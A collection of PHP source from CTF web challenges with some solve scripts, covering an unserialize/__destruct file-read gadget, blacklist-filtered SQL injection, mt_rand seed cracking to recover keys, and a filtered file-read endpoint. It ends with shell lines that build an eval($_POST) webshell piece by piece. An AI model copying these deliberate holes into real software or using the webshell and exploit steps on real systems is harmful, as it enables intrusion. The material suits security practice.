积累的一些web题目

//helper.php
<?php
class helper {
	protected $folder = "pic/";
	protected $ifview = False; 
	protected $config = "config.txt";
	// The function is not yet perfect, it is not open yet.

	public function upload($input="file")
	{
		$fileinfo = $this->getfile($input);
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);
		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

	public function getfile($input)
	{
		if(isset($input)){
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;
	}

	public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

	public function save($data)
	{
		if(!$data || !is_array($data)){
			die("Something wrong!");
		}
		$id = $this->insert_array($data);
		return $id;
	}

	public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","root","root","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}
}

?>

//show.php
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
	if($_GET["delete_all"] == "true"){
		$show->Delete_All_Images();
	}
}
$show->Get_All_Images();

class show{
	public $con;

	public function __construct(){
		$this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
		if (mysqli_connect_errno($this->con)){ 
   			die("Connect MySQL Fail:".mysqli_connect_error());
		}
	}

	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

	public function Delete_All_Images(){
		$sql = "DELETE FROM images";
		$result = mysqli_query($this->con, $sql);
	}
}
?>

//upload.php
<?php
include("./helper.php");
class upload extends helper {
	public function upload_base(){
		$this->upload();
	}
}

if ($_FILES){
	if ($_FILES["file"]["error"]){
		die("Upload file failed.");
	}else{
		$file = new upload();
		$file->upload_base();
	}
}

$a = new helper();
?>

<?php
class helper {
	protected $config = "/flag";
	protected $ifview = 1;
	// The function is not yet perfect, it is not open yet.
	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}
}

$a = new helper;
echo serialize($a);

//confirm.php
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

//change.php
<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
strstr($inject, "set") && strstr($inject, "prepare")

<?php
#这不是抽奖程序的源代码！不许看！
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖，就是那么枯燥且无味，给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦，再试试吧</p>";
    }
}
show_source("check.php");

<?php
$pass_now = "W0dCwtjQ3A";
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len = strlen($allowable_characters) - 1;
for ($j = 0; $j < strlen($pass_now); $j++) {
    for ($i = 0; $i < $len; $i++) {
        if ($pass_now[$j] == $allowable_characters[$i]) {
            echo "$i $i 0 $len ";
            break;
        }
    }
}

<?php
mt_srand(237387795);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}

echo $str;

//query.php
<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

<?php
mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    // mt_srand(1775196155);
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  $pri = private_key();
  echo $Public_key;
  echo "<br>";
  echo $pri;

echo '<?php'>1.php
echo -n 'eva'>>1.php
echo -n 'l($'>>1.php
echo -n '_PO'>>1.php
echo -n 'ST['>>1.php
echo -n 'c])'>>1.php
echo -n ';'>>1.php